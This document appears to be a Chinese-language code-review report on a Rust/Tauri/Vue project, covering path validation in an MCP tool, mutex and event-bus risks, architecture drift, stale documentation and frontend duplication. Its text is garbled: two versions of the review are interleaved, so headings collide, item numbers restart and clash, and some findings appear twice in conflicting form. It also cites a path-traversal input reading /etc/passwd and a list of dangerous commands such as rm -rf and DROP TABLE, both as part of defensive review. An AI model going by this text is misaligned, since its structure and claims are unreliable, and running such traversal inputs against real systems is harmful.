|
||||
**文件**: `crates/df-mcp/src/tools.rs:328`
|
||||
|
||||
**建议**:添加危险命令关键词告警(`rm -rf`/`DROP TABLE`/`Format`),可选白名单/环境变量隔离配置。
|
||||
MCP 端 `bind_directory` 仅做 `path.contains("..")` 子串检测,会误伤 `my..file`,且对 `/etc/.ssh/../../etc/passwd` 这类绕过场景不可靠。而 `src-tauri/.../tool_registry.rs:114-145` 的 `validate_path` 已实现分段 `..` 检测——两端不一致。
|
||||
|
||||
### ④ bind_directory — 原始路径入库未规范化 + 无沙箱校验
|
||||
|
||||
**文件**: `crates/df-mcp/src/tools.rs:314-342`
|
||||
|
||||
`bind_directory` 接收用户传入 `path`,`normalize_path` 仅用于去重检测,**原始 `path` 值直接存储**。同一目录可用两种写法绑定两次绕过冲突检测。且未校验规范化后路径在项目沙箱允许范围内。
|
||||
|
||||
**建议**:存储前 `normalize_path()` + 校验在沙箱目录内 + 拒绝含 `..` 的原始路径。
|
||||
|
||||
### ⑤ state.rs — `std::sync::Mutex` 在 async 上下文中持锁风险
|
||||
|
||||
**文件**: `crates/df-workflow/src/state.rs:34-36, 55, 97, 104`
|
||||
|
||||
`StateMachine` 使用 `std::sync::Mutex` 保护 HashMap,在 `get()` 等同步方法中直接 `lock().expect()`。`DagExecutor` 在 `futures::future::join_all` 同层并发时,若某节点持有引用后 `.await` 另一操作间接尝试锁 `states`,会死锁。通篇 4 处 `expect`——某节点 panic 导致锁中毒,连锁 fatal。
|
||||
|
||||
**建议**:改用 `tokio::sync::Mutex`,或在文档中明确标注「state_machine 方法不得在 `.await` 期间持锁」。
|
||||
|
||||
### ⑥ eventbus.rs — 错误静默吞噬
|
||||
|
||||
**文件**: `crates/df-workflow/src/eventbus.rs:16, 32`
|
||||
|
||||
`DEFAULT_CAPACITY: usize = 256`,`EventBus::send` 调用处 `let _` 吞噬所有错误。当并发节点多且事件消费慢时,256 溢出导致最早接收者 Lagged 错误。
|
||||
|
||||
**建议**:`send` 处 `tracing::warn!` 记录 Lagged 错误。
|
||||
|
||||
### ⑦ shell.rs — `probe_pwsh` 同步阻塞 tokio 运行时
|
||||
|
||||
**文件**: `crates/df-execute/src/shell.rs:53-66`
|
||||
|
||||
`probe_pwsh()` 在 `Default::default()` 中调用,`Default` 在 `execute()` 异步函数内调用。在 tokio 异步函数中同步阻塞 `cmd.status()` 违反最佳实践。
|
||||
|
||||
**建议**:惰性异步探测(`OnceLock` 配 `tokio::task::spawn_blocking`)。
|
||||
|
||||
### ⑧ retry.rs — backoff jitter 随机性弱
|
||||
|
||||
**文件**: `crates/df-ai/src/retry.rs:77-81`
|
||||
|
||||
jitter 使用 `SystemTime::now().duration_since().subsec_nanos() % 2000` 映射到 `[-1.0, 1.0)`。纳秒级退化到 1ms 粒度时多个请求可能拿到同一值,重试碰撞风险。
|
||||
|
||||
**建议**:改用 `fastrand`,jitter 范围扩大到 ±50%(当前 ±20%)。
|
||||
**建议**:MCP 端复用 `validate_path` 的分段检测逻辑。
|
||||
|
||||
---
|
||||
|
||||
## 🔴 文档
|
||||
## 🔴 架构
|
||||
|
||||
### ⑨ AI对话引擎-2026-06-14.md — 工具清单严重过时
|
||||
### ④ AI 核心状态机焊死在 src-tauri,df-ai 名不副实
|
||||
|
||||
**证据**:
|
||||
- `src-tauri/src/commands/ai/mod.rs` 定义 `AiSession`、`PerConvState`、`AiChatEvent`、`SessionState` 等
|
||||
- `src-tauri/src/commands/ai/agentic/mod.rs` 实现 `run_agentic_loop`
|
||||
- `df-ai` crate 仅保留 Provider HTTP 实现 + `coordinator.rs`(空壳) + `intent/planner`(未接入)
|
||||
|
||||
ARCHITECTURE.md §5.4 把 AgentCoordinator/ContextManager 描述为 df-ai 职责,实际 agentic loop 跑在 Tauri binary。df-ai 无法被复用(做 CLI/测试),AI 状态机没有独立 crate 级单测。
|
||||
|
||||
**建议**:把 AiSession/agentic loop 抽到 df-ai 或新建 df-ai-session crate。
|
||||
|
||||
### ⑤ df-project / df-ideas 伪分层
|
||||
|
||||
**文件**: `crates/df-project/src/manager.rs`(全文 ~80 行,仅 2 个工厂函数)
|
||||
|
||||
`ProjectManager::create` / `create_from_idea` 只构造实体不落库。实际项目 CRUD/状态推进/软删全在 `df-storage/src/crud/project_repo.rs`,`commands/project.rs` 直接调 `ProjectRepo` 完全绕过 `ProjectManager`。领域层"不依赖 storage 保持分层"形同虚设。
|
||||
|
||||
**建议**:要么删除 df-project,要么真正把领域规则下沉进去。
|
||||
|
||||
### ⑥ TaskStatus 两套并存
|
||||
|
||||
**证据**:
|
||||
- `crates/df-types/src/types.rs:170` 定义 `enum TaskStatus` 含 `as_str`/`from_db_str`/`is_valid`
|
||||
- `crates/df-nodes/src/task_state_machine.rs:33-56` 又定义 7 个字符串常量 + `is_valid_state`
|
||||
|
||||
注释自称"严格对齐"但靠人工维护,任何一方改字符串编译器不报错。df-types 的 enum 形同摆设。
|
||||
|
||||
**建议**:让 task_state_machine 基于 TaskStatus enum 实现,字符串边界只留 IPC/DB 序列化层。
|
||||
|
||||
### ⑦ IPC 错误拍平为 String,结构化信息全失
|
||||
|
||||
**文件**: `src-tauri/src/commands/mod.rs:26` `pub fn err_str<E: ToString>(e: E) -> String`
|
||||
|
||||
df-types/error.rs 精心设计了 11 个变体(`NotFound`/`Validation`/`InvalidState { current, expected }` 等带结构化字段),但跨 IPC 边界时 `.to_string()` 一律拍平。前端只能拿到字符串,无法分辨 NotFound vs Validation vs InvalidState,无法做差异化处理(如 NotFound→跳转列表 vs InvalidState→提示冲突)。
|
||||
|
||||
**建议**:IPC 错误用 serde 序列化的 enum(`{ kind, message, ...fields }`),前端按 kind 分支。
|
||||
|
||||
### ⑧ 配置四源并存,relay token 两端契约不一致
|
||||
|
||||
**证据**:
|
||||
- 环境变量:`DF_RELAY_TOKEN`(relay 端缺失 panic)/`DF_SCRIPT_BLACKLIST`/`DF_SCRIPT_WHITELIST`
|
||||
- DB KV:`app_settings` 表
|
||||
- AppState 内存:AtomicU64/Usize
|
||||
- 硬编码常量:`src-tauri/lib.rs:186` `token = "devflow-relay-default-token"`(与 relay 端强制 env 不一致)
|
||||
|
||||
桌面端硬编码默认 token,relay 端 panic 强制 env——忘设 env 时桌面端用默认 token 连不上。
|
||||
|
||||
**建议**:建立分层 Config 单例(env > app_settings > 默认常量),跨 crate 共享。
|
||||
|
||||
### ⑨ 文档与代码严重失步
|
||||
|
||||
**证据**:
|
||||
- ARCHITECTURE.md §4 写 `df-core/` —— 实际是 `df-types`
|
||||
- PROGRESS.md §二/§三 同样写 df-core
|
||||
- docs/01-技术文档/SQLite-CRUD模式.md:79 引用 `crates/df-core/src/error.rs`
|
||||
- PROGRESS.md Sprint 15/17 把 knowledge 模块归属 `df-evolve`(已移除)
|
||||
- ARCHITECTURE.md §4 crate 树漏列 `df-types`/`df-mcp`/`df-ai-core`/`df-relay`/`df-tunnel`,crate 数量描述"9 crate"vs 实际 12
|
||||
|
||||
**建议**:批量替换 df-core → df-types,更新 crate 树与规模表。
|
||||
|
||||
---
|
||||
|
||||
## 🔴 代码质量
|
||||
|
||||
### ⑩ useAiEvents — 终止收尾逻辑三处复制粘贴
|
||||
|
||||
**文件**: `src/composables/ai/useAiEvents.ts:569-737`
|
||||
|
||||
`AiCompleted` / `AiError` / `AiHelpRequired` 三个 case 重复执行同一套「会话终止收尾」逻辑(clearStreamWatchdog / clearAllToolSlowTimers / flushCurrentText / setStreaming(false) / state.currentText='' / state.agentRound=0 / 清 pendingMaxRounds / 清 pendingDirAuths / 4×localStorage.removeItem),共 ~10 步骤在三个分支逐行复制。
|
||||
|
||||
**建议**:抽 `cleanupTerminatedConversation(convId, reason)` 公共函数。
|
||||
|
||||
### ⑪ Store 错误处理样板重复 38 处
|
||||
|
||||
**证据**:`src/stores/knowledge.ts` 单文件 10 次,加上 ideas.ts/projects.ts/tasks.ts 各 4-7 次:
|
||||
|
||||
```ts
|
||||
try { state.xxx = await api.xxx(...) }
|
||||
catch (e: any) { state.error = e?.toString() ?? t('xxx.err.xxxFailed') }
|
||||
```
|
||||
|
||||
**建议**:抽 `runWithCatch(state, i18nKey, fn)` 工具。
|
||||
|
||||
### ⑫ idea_repo.rs — 注释承诺的测试不存在
|
||||
|
||||
**文件**: `crates/df-storage/src/crud/idea_repo.rs:24-25, 43-44`
|
||||
|
||||
注释明示「任一处加列漏改会被测试 `test_knowledge_cols_matches_record` 立即捕获」,但全 workspace grep 零匹配。`KNOWLEDGE_COL_COUNT` 带 `#[cfg_attr(not(test), allow(dead_code))]` 说明设计意图是给测试用,但测试从未写。属真实「文档撒谎」。
|
||||
|
||||
**建议**:补 `#[test] fn test_idea_cols_matches_record()` 或改注释。
|
||||
|
||||
### ⑬ df-relay 完全无测试
|
||||
|
||||
`df-ai` 332 测试、`df-storage` 133 测试、`df-nodes` 86 测试,但 `df-relay` 0 测试(无 tests/ 也无 #[cfg(test)])。relay.rs 442 行连接生命周期 + token 配对 + 广播分发逻辑零回归保护。
|
||||
|
||||
**建议**:至少补 ConnRegistry / token 配对 / ControlMessage 路由的单测。
|
||||
|
||||
---
|
||||
|
||||
## 🟡 并发与可靠性
|
||||
|
||||
### ⑭ SQLite 单连接 Mutex 串行化
|
||||
|
||||
**文件**: `crates/df-storage/src/db.rs:13-16`
|
||||
|
||||
```rust
|
||||
pub struct Database { conn: Arc<Mutex<Connection>>, }
|
||||
```
|
||||
|
||||
所有 Repo 共享同一连接。注释自承 `TODO: 考虑使用 r2d2 连接池`。功能性正确,但 AI 对话高峰(多 tool_calls 并发 + SSE 落库)下 DB 操作排队,体验性下降。
|
||||
|
||||
### ⑮ EventBus broadcast 容量与 Lagged 处理
|
||||
|
||||
**文件**: `crates/df-workflow/src/eventbus.rs:16` + `crates/df-nodes/src/human_node.rs:134-141`
|
||||
|
||||
容量 256 + `WorkflowEvent` 混入 AI 流式增量 → 高频场景订阅者 Lagged → `human_node.rs:134` 的 `continue` 策略可能漏自身 Response → HumanNode 等到超时。
|
||||
|
||||
**建议**:流式增量与审批响应分总线,或 Lagged 显式重发。
|
||||
|
||||
### ⑯ run_migrations 持有 tokio Mutex 守卫
|
||||
|
||||
**文件**: `crates/df-storage/src/db.rs:48-53`
|
||||
|
||||
V21 大表迁移期间所有其他 DB 操作 await 在锁上。一次性启动开销,但属不必要串行点。
|
||||
|
||||
### ⑰ task_link_repo.rs 注释误导
|
||||
|
||||
**文件**: `crates/df-storage/src/crud/task_link_repo.rs:116-138`
|
||||
|
||||
注释「检测与插入非原子」不准确——实际 BFS 与 INSERT 在同一 `blocking_lock` 守卫内,锁串行化了 TOCTOU 窗口,已闭合。注释应更新。
|
||||
|
||||
### ⑱ relay 默认监听 0.0.0.0
|
||||
|
||||
**文件**: `crates/df-relay/src/main.rs:17`
|
||||
|
||||
token 鉴权在,但默认监听所有网卡,云服务器部署若防火墙未配公网可访问 WS 端点暴力猜 token。
|
||||
|
||||
**建议**:默认改 127.0.0.1,外部访问显式 `DF_RELAY_ADDR=0.0.0.0`。
|
||||
|
||||
---
|
||||
|
||||
## 🟡 代码简洁性
|
||||
|
||||
### ⑲ 大文件未拆分
|
||||
|
||||
- `src/components/ai/MessageList.vue` 1552 行(style 441 + script ~1100)
|
||||
- `src/views/IdeaDetail.vue` 926 行(style 481 + script ~300,四域逻辑)
|
||||
- `crates/df-storage/src/crud/idea_repo.rs` 1500 行(IdeaRepo + KnowledgeRepo + KnowledgeEventsRepo + 向量工具)
|
||||
- `crates/df-nodes/src/human_node.rs` 831 行
|
||||
|
||||
**建议**:MessageList 抽 MessageBubble.vue;IdeaDetail 拆 IdeaScorePanel/IdeaAdversarialPanel;idea_repo.rs 拆三文件。
|
||||
|
||||
### ⑰ 组件内 toast 状态重复
|
||||
|
||||
**文件**: `src/views/Settings.vue:103-112` + `src/components/AiChat.vue:183-191`
|
||||
|
||||
两个根组件各自维护 toast reactive + showToast,逻辑完全一致。
|
||||
|
||||
**建议**:抽 `composables/useToast.ts`。
|
||||
|
||||
### ㉑ TS any 滥用集中在 catch 和跨层透传
|
||||
|
||||
48 处 `: any`/`as any`:
|
||||
- **类型 A**(38/48):`catch (e: any)` → 改 `unknown` + 类型守卫
|
||||
- **类型 B**:跨层 `as any` 透传未声明字段(useAiEvents.ts:687、useAiConversations.ts 多处、MessageList.vue:498)
|
||||
|
||||
**建议**:补完 api/types.ts 真实字段(AiMessage.errorType、Message.status);defineExpose 建 interface。
|
||||
|
||||
### ㉒ AgentCoordinator deprecated 空壳
|
||||
|
||||
**文件**: `crates/df-ai/src/coordinator.rs`
|
||||
|
||||
已标 `#[deprecated]`,全 workspace 零调用,但仍 `pub mod coordinator` 暴露导出。
|
||||
|
||||
**建议**:`#[cfg(feature = "multi-agent")]` 隔离或删除(git 历史可找回)。
|
||||
|
||||
### ㉓ planner.rs 11 处 #[allow(dead_code)]
|
||||
|
||||
builder API(SubTask::new/with_tools/with_deps/with_group 等)当前零调用,全是预留。建议加 reason 集中说明或 feature flag 隔离。
|
||||
|
||||
### ㉔ app_settings KV 无 schema
|
||||
|
||||
`SettingsRepo::set(key, value)` 无 key 白名单(除 allowed_dirs),新增配置需前端+IPC+KV 三处硬编码对齐。建议加 SettingKey enum 集中定义。
|
||||
|
||||
### ㉕ 视图 CSS 重复 + tags 解析重复
|
||||
|
||||
- Dashboard/Projects/Ideas/Knowledge 四视图各自定义 `.btn`/`.btn-primary` scoped 样式(项目已有全局 `styles/components.css`)
|
||||
- Ideas.vue:302 + Knowledge.vue:321 相同 tags 拆分逻辑
|
||||
|
||||
**建议**:CSS 收敛到全局;tags 解析抽 `parseTagsInput`。
|
||||
|
||||
---
|
||||
|
||||
## 🟡 文档
|
||||
|
||||
### ㉖ AI对话引擎文档工具清单过时
|
||||
|
||||
**文件**: `docs/03-模块文档/AI对话引擎-2026-06-14.md §四`
|
||||
|
||||
标题自称"12 个"工具,表格实际列出 **13 行**(自相矛盾);与 `df-ai-AI集成模块-2026-06-12.md` 声称的 **22 个工具**严重对不齐;缺失 `run_command`/`patch_file`/`list_trash`/`file_info`/`search_files`/`delete_task`/`restore_project`/`purge_project` 等工具。
|
||||
标题自称 12 个,表格 13 行,与 `df-ai-AI集成模块.md` 的 22 个严重对不齐。缺失 `run_command`/`patch_file`/`list_trash`/`file_info`/`search_files`/`delete_task`/`restore_project`/`purge_project`。
|
||||
|
||||
**建议**:全文同步至当前实际 22 个工具的最新清单。
|
||||
|
||||
### ⑩ 02-架构设计/INDEX.md — 漏索引 9 个已有文档
|
||||
|
||||
**文件**: `docs/02-架构设计/INDEX.md`
|
||||
### ㉗ INDEX.md 漏索引 9 个文档
|
||||
|
||||
| 子目录 | 漏列数 | 典型遗漏 |
|
||||
|-------|-------|---------|
|
||||
| 专项设计 | 7 | `AI原生上下文地图`、`AST符号解析`、`插件机制`、`查询能力补全方案`、`项目知识图谱` 等 |
|
||||
| 已编号方案 | 2 | `F-260622-01-跨端AIChat-Phase3联调设计`、`消息级溯源P2-切读方案`(今天新增) |
|
||||
| 构想审查 | 1 | `跑题改进试验记录` |
|
||||
| 根目录 | 2 | `单对话并行多轮-Phase0落地路线图`、`单对话并行多轮-设计` |
|
||||
| 专项设计 | 7 | AI原生上下文地图、AST符号解析、插件机制、查询能力补全方案、项目知识图谱 |
|
||||
| 已编号方案 | 2 | F-260622-01-跨端AIChat-Phase3联调、消息级溯源P2-切读方案 |
|
||||
| 构想审查 | 1 | 跑题改进试验记录 |
|
||||
| 根目录 | 2 | 单对话并行多轮-Phase0落地路线图、单对话并行多轮-设计 |
|
||||
|
||||
**建议**:批量补齐,建立「新增文档 → 立即更新 INDEX」的提交习惯。
|
||||
|
||||
### ⑪ Agent架构说明 — 死链
|
||||
### ㉘ 死链
|
||||
|
||||
**文件**: `docs/02-架构设计/专项设计/Agent架构说明-2026-06-14.md:4`
|
||||
|
||||
```markdown
|
||||
> 关联: [任务推进设计](任务推进构想-2026-06-14.md)
|
||||
```
|
||||
目标文件在 `构想审查/` 下,当前路径解析到 `专项设计/` 下不存在。
|
||||
`[任务推进设计](任务推进构想-2026-06-14.md)` 解析到专项设计目录下不存在,应改为 `../构想审查/`。
|
||||
|
||||
**建议**:改为 `[任务推进设计](../构想审查/任务推进构想-2026-06-14.md)`。
|
||||
### ㉙ ARCHITECTURE.md §七 + 新设计文档 SSOT 违反
|
||||
|
||||
### ⑫ ARCHITECTURE.md §七 + 新设计文档 — 大段逐字重复
|
||||
YAML 模板(52行)、AgentPersona struct(11行)、三层定义表、实例化流程大段逐字重复。建议 ARCH 仅保留概要 + 引用链接。
|
||||
|
||||
**文件**: `ARCHITECTURE.md:538-665` / `docs/02-架构设计/专项设计/三层模型-流程模板与人设体系-2026-06-28.md`
|
||||
### ㉚ ARCHITECTURE.md ~100 行已移除模块残留
|
||||
|
||||
YAML 模板示例(52行)、`AgentPersona` struct 定义(11行)、三层定义表、实例化流程——**大段逐字重复**,违反文档记录规范 SSOT 原则。
|
||||
§5.4 保留 df-task/df-traceability 的 Task 生命周期图、分支策略、标注系统、Decision struct 详细设计。建议移至归档。
|
||||
|
||||
**建议**:`ARCHITECTURE.md §七` 保留概要(三层定义 + 关系图 + 关键原则),YAML 全文和 struct 定义仅在专项设计文档展开,ARCH 以引用链接替代。
|
||||
### ㉛ ARCHITECTURE.md 状态过时
|
||||
|
||||
### ⑬ ARCHITECTURE.md 仍保留 ~100 行已移除模块细节
|
||||
|
||||
**文件**: `ARCHITECTURE.md:210-318`(`df-task` / `df-traceability` 章节)
|
||||
|
||||
保留 Task 生命周期图、分支策略、标注系统、需求-功能-测试映射、Decision struct 等已移除模块的详细设计。造成认知负担。
|
||||
|
||||
**建议**:将已移除模块的详细历史移至 `功能决策记录-归档`,ARCHITECTURE.md 仅保留「已移除,见归档」。
|
||||
|
||||
### ⑭ 模块文档更新停滞(最长 16 天)
|
||||
|
||||
| 文档 | 最后更新 | 距今天数 |
|
||||
|-----|---------|---------|
|
||||
| `df-workflow-工作流引擎-2026-06-12.md` | 06-15 | 13 天 |
|
||||
| `df-ai-AI集成模块-2026-06-12.md` | 06-14 | 14 天 |
|
||||
| `df-storage-存储层-2026-06-12.md` | 06-15 | 13 天 |
|
||||
| `想法探索-对抗式评估-2026-06-12.md` | 无更新 | 16 天 |
|
||||
|
||||
**建议**:对上述文档做一次「代码对齐」检查。
|
||||
|
||||
### ⑮ ARCHITECTURE.md 版本状态过时
|
||||
|
||||
**文件**: `ARCHITECTURE.md:3`
|
||||
|
||||
当前 `状态: 设计阶段`。工程处于 **Phase 2 验证阶段**(df-workflow 核心完成、AI ReAct 循环运行中、审批机制就绪),状态标签与实际不符。
|
||||
|
||||
**建议**:改为 `状态: Phase 2 本地优先开发流程验证`(与 `docs/INDEX.md` 一致)。
|
||||
|
||||
### ⑯ 新设计文档与现有文档缺失交叉引用
|
||||
|
||||
**文件**: `docs/02-架构设计/专项设计/三层模型-流程模板与人设体系-2026-06-28.md`
|
||||
|
||||
应当引用但未引用:`全局事件数据总线`、`df-nodes-节点集合`、`任务推进构想`。
|
||||
|
||||
**建议**:补充上述交叉引用。
|
||||
|
||||
### ⑰ AI对话引擎文档边界归属模糊
|
||||
|
||||
**文件**: `docs/03-模块文档/AI对话引擎-2026-06-14.md`
|
||||
|
||||
位于 `03-模块文档/`,但内容大量描述 `src-tauri/commands/ai/` 下的 Tauri 层代码,而非 `crates/df-ai` crate 内部。按文档记录规范职责矩阵,`03-模块文档/` 应记录各 crate 实现细节。
|
||||
|
||||
**建议**:移入 `02-架构设计/` 适当子目录,或明确标注为跨层交互设计文档。
|
||||
|
||||
---
|
||||
|
||||
## 🟡 代码质量
|
||||
|
||||
### ⑱ dag.rs — `deep_merge` 收到 null 返回 null,覆盖全局配置
|
||||
|
||||
**文件**: `crates/df-workflow/src/dag.rs:174-192`
|
||||
|
||||
`deep_merge(global, null)` 返回 `null`。若某节点定义写了 `"config": null`(JSON 显式 null),该节点 `ctx.config = Value::Null`,原本期望继承全局 config 的节点拿到空配置。
|
||||
|
||||
**建议**:`DagExecutor.run()` 中对 `deep_merge` 结果做 `if result.is_null() { initial_config.clone() }` 兜底。
|
||||
|
||||
### ⑲ dag.rs — `_` 通配 match 掩盖未覆盖变体
|
||||
|
||||
**文件**: `crates/df-workflow/src/dag.rs:191`
|
||||
|
||||
`deep_merge` 的 match 最后分支 `_ => node.clone()` 过于宽泛。若未来新增 `serde_json::Value` 变体,不会被编译器捕获。
|
||||
|
||||
**建议**:显式列出所有剩余变体并 `bail!`,迫使维护者在修改时意识到影响。
|
||||
|
||||
### ⑳ shell.rs — `String::from_utf8_lossy` 编码错误被静默替换
|
||||
|
||||
**文件**: `crates/df-execute/src/shell.rs:155-156`
|
||||
|
||||
shell 输出使用 `String::from_utf8_lossy`,将非 UTF-8 字节替换为 `<60>`。对于中文/日文环境(如 `chcp 65001` 前的 GBK 输出),用户看到乱码替代符,诊断困难。
|
||||
|
||||
**建议**:添加 `tracing::debug!` 记录损失性替换的字节数,或提供 `encoding_rs` 转码选项。
|
||||
|
||||
### ㉑ query LIKE 搜索 — SQL 通配符未转义
|
||||
|
||||
**文件**: `crates/df-storage/src/crud/project_repo.rs:245-246`
|
||||
|
||||
`LIKE ?` 使用 `%{trimmed}%` 拼接,`keyword` 中的 `%`/`_` 会被字面匹配。用户搜索 `100%` 匹配所有行,搜索 `error_404` 匹配 `errorX404`。
|
||||
|
||||
**建议**:对 keyword 中的 `%`/`_` 做 `replace` 转义,加 `ESCAPE '\'` 子句。
|
||||
|
||||
### ㉒ coordinator.rs — 空壳仅用注释声明"勿删",应加编译期守卫
|
||||
|
||||
**文件**: `crates/df-ai/src/coordinator.rs:1-24`
|
||||
|
||||
注释声明「B 路线占位,有意保留空壳,勿删」,但无 `#[deprecated]` 或 `#[doc(hidden)]` 编译期标记。调用方引入 `AgentCoordinator::new().run()` 只能运行时发现返回 `"TODO"`。
|
||||
|
||||
**建议**:加 `#[deprecated(note = "B 路线占位,勿用于生产")]`。
|
||||
|
||||
### ㉓ secret.rs — 密钥迁移 sidecar 文件写入无原子性
|
||||
|
||||
**文件**: `crates/df-storage/src/secret.rs:75-81`
|
||||
|
||||
`record_migration_fail` 每次调用同步读文件 → 改 map → 写文件,迁移时 10+ provider 逐条失败时每条 2 次文件 I/O。无原子写入保障,异常中断可能产生半写文件。
|
||||
|
||||
**建议**:积累内存中的失败计数,迁移循环结束后一次性持久化。
|
||||
|
||||
### ㉔ Intent/planner/plan_hint — 纯函数模块无单测覆盖
|
||||
|
||||
**文件**: `crates/df-ai/src/intent.rs` / `planner.rs` / `plan_hint.rs`
|
||||
|
||||
注释声称「纯函数、零 IO」,均无 `#[cfg(test)]` 覆盖。Phase 1 接入主 loop 前应补充。
|
||||
|
||||
**建议**:为这些纯函数模块补充输入输出确定性匹配测试。
|
||||
|
||||
---
|
||||
|
||||
## 🟡 前端
|
||||
|
||||
### ㉕ Settings.vue — 内联 confirm 弹层重复实现
|
||||
|
||||
**文件**: `src/views/Settings.vue:7-16`
|
||||
|
||||
Settings.vue 内联了完整 confirm 弹层模板,完全复制了 `ConfirmDialog.vue` 的 UI/逻辑,自身维护 `confirmState`/`answerConfirm`。全项目已有 `useConfirm` composable。
|
||||
|
||||
**建议**:用 `useConfirm` + `ConfirmDialog` 替换内联实现。
|
||||
|
||||
### ㉖ 多视图 — 按钮 CSS 重复定义
|
||||
|
||||
**文件**: `Dashboard.vue:126-162` / `Projects.vue:445-458` / `Ideas.vue:421-432` / `Knowledge.vue:449-458`
|
||||
|
||||
四处视图各自定义 scoped 按钮样式。项目已通过 `main.ts` 导入全局 `styles/components.css`。
|
||||
|
||||
**建议**:删除视图内按钮样式,统一走全局 CSS。
|
||||
|
||||
### ㉗ Ideas.vue + Knowledge.vue — tags 解析逻辑重复
|
||||
|
||||
**文件**: `src/views/Ideas.vue:302` / `src/views/Knowledge.vue:321`
|
||||
|
||||
```ts
|
||||
tags.split(',').map(t => t.trim()).filter(Boolean)
|
||||
```
|
||||
|
||||
**建议**:提取为工具函数 `parseTagsInput` 放进 `src/utils/`。
|
||||
|
||||
### ㉘ Ideas.vue — Arco Design `Message` 残留
|
||||
|
||||
**文件**: `src/views/Ideas.vue:144`
|
||||
|
||||
全项目仅在 Ideas.vue 使用了 Arco 的 `Message` 组件(3 处),其余使用自建 toast。混用。
|
||||
|
||||
**建议**:用自建 `showToast` 替换后删除 Arco 依赖。
|
||||
|
||||
### ㉙ stores/ai.ts — 两个 watch 监听同一 `.messages.length`
|
||||
|
||||
**文件**: `src/stores/ai.ts:204, 241`
|
||||
|
||||
两个 `watch(() => state.messages.length, ...)` 分别处理条数上限和 parts 体积上限。每次 length 变化触发两个 watch,第二个还要遍历 messages 求和。
|
||||
|
||||
**建议**:合并为一个 watch。
|
||||
|
||||
### ㉚ AiChat.vue — `initDrainQueueListener` 每次 `useAiStore()` 调用都执行
|
||||
|
||||
**文件**: `src/stores/ai.ts:304`
|
||||
|
||||
```ts
|
||||
void initDrainQueueListener()
|
||||
```
|
||||
每次调用 `useAiStore()` 都执行。需确认内部做了幂等守卫。
|
||||
|
||||
**建议**:确保只初始化一次(如外层 `initOnce` 布尔守卫)。
|
||||
|
||||
### ㉛ AiChat.vue — 空值传播无告警
|
||||
|
||||
**文件**: `src/components/AiChat.vue:238`
|
||||
|
||||
```ts
|
||||
const conv = store.state.conversations.find(c => c.id === id)
|
||||
const title = conv?.title || t('aiChat.newConversation')
|
||||
```
|
||||
`find` 返回 `undefined` 时静默回退默认标题。非预期 ID 进入时不告警。
|
||||
|
||||
**建议**:至少 `console.warn` 记录 ID 不在列表中的情况。
|
||||
|
||||
### ㉜ 多视图 — `catch (e: any)` 类型退化
|
||||
|
||||
**文件**: 几乎所有 Vue 视图
|
||||
|
||||
```ts
|
||||
catch (e: any) {
|
||||
state.error = e?.toString() ?? t('xxx.failed')
|
||||
}
|
||||
```
|
||||
|
||||
**建议**:统一改为 `catch (e: unknown)`。
|
||||
|
||||
### ㉝ AiChat.vue — 体积仍偏大
|
||||
|
||||
**文件**: `src/components/AiChat.vue`(模板 128 行 + script ~200+ 行)
|
||||
|
||||
仍承载全局快捷键处理、编辑态管理、队列编辑态管理、Toast 共享状态等。
|
||||
|
||||
**建议**:将键盘快捷键抽离为 `useAiShortcuts` composable。
|
||||
|
||||
### ㉞ Ideas.vue — `searchQuery.trim()` 重复调用
|
||||
|
||||
**文件**: `src/views/Ideas.vue:219-220`
|
||||
|
||||
```ts
|
||||
if (searchQuery.value.trim()) {
|
||||
q.keyword = searchQuery.value.trim()
|
||||
}
|
||||
```
|
||||
|
||||
**建议**:提取 `const trimmed = searchQuery.value.trim()`。
|
||||
|
||||
### ㉟ Projects.vue — 冗余 `as string` 断言
|
||||
|
||||
**文件**: `src/views/Projects.vue:217-218, 222`
|
||||
|
||||
`selected` 已被类型收窄为 `string`,后续 `as string` 多余。
|
||||
|
||||
### ㊱ MCP tools/list — `unwrap_or(Value::Null)` 在数组中混入 null
|
||||
|
||||
**文件**: `crates/df-mcp/src/server.rs:140-142`
|
||||
|
||||
```rust
|
||||
serde_json::to_value(&t.tool).unwrap_or(Value::Null)
|
||||
```
|
||||
若某个 tool schema 序列化失败,tools 数组中混入 `null`。
|
||||
|
||||
**建议**:`.filter_map(|t| serde_json::to_value(&t.tool).ok())`。
|
||||
|
||||
### ㊲ Ideas.vue — `IdeaQuery` 类型未充分对齐
|
||||
|
||||
**文件**: `src/views/Ideas.vue:146, 214-217`
|
||||
|
||||
`order_by` 字段类型为 `string | null`,后端若收窄为联合类型白名单,前端不会报错。
|
||||
|
||||
**建议**:前端 `order_by` 使用 `'score' | 'created_at' | null`。
|
||||
L3 `状态: 设计阶段` 与实际 Phase 2 验证阶段不符,应与 `docs/INDEX.md` 一致改为 `Phase 2 本地优先开发流程验证`。
|
||||
|
||||
---
|
||||
|
||||
## ✅ 亮点
|
||||
|
||||
### ① 密钥管理分层设计(secret.rs)
|
||||
`resolve_provider_secret` 三阶段回落:DB 明文(向前兼容)→ OS keyring → 空字符串。迁移非阻断、幂等、失败计数告警。单测通过 `cfg` gate 仅桌面 OS 跑 keyring 测试。
|
||||
### ① df-ai/df-ai-core trait 下沉(F-01)
|
||||
df-ai-core 零 HTTP 依赖(仅 5 个依赖),df-ai 保留 reqwest/eventsource-stream。df-ideas 等轻消费方只引 df-ai-core。**真实落地的解耦**。
|
||||
|
||||
### ② SQL 注入防护体系
|
||||
列名白名单(`validate_column_name` + `impl_repo!` 宏统一调用),`build_order_clause` 对排序方向也做白名单校验。软删除/恢复/清空全部参数化 SQL。
|
||||
### ② df-mcp advance_task 复用 df-nodes 状态机
|
||||
MCP 与 IPC 都走 `df_nodes::task_advance_node::advance_task_atomic`,推进链三层校验(is_valid_state/can_transition/CAS/regression bump)唯一实现。Cargo.toml 注释明确「避免 MCP 直调底层绕过状态机」。
|
||||
|
||||
### ③ 前端竞态保护(knowledge.ts)
|
||||
递增序列号丢弃过期响应。`ai.ts` watch 双重守卫(`oldLen > 0 && newLen - oldLen <= 2`)精确区分局部增长和整体替换。
|
||||
### ③ keyring 密钥下沉 + 迁移补偿
|
||||
secret.rs 三阶段回落(DB明文→OS keyring→空),`migrate_secrets_to_keyring` 启动一次性迁移,失败计数达阈值升级 warn。`AiProviderRecord` 自定义 Debug 把 api_key 脱敏为 `"sk-****"`。
|
||||
|
||||
### ④ `useConfirm` 统一确认弹层
|
||||
从 4 个视图中提取重复 Promise+resolve 模式,正确处理并发覆盖场景(前一个 Promise 先 resolve false)。
|
||||
### ④ SanitizedPath newtype 强类型
|
||||
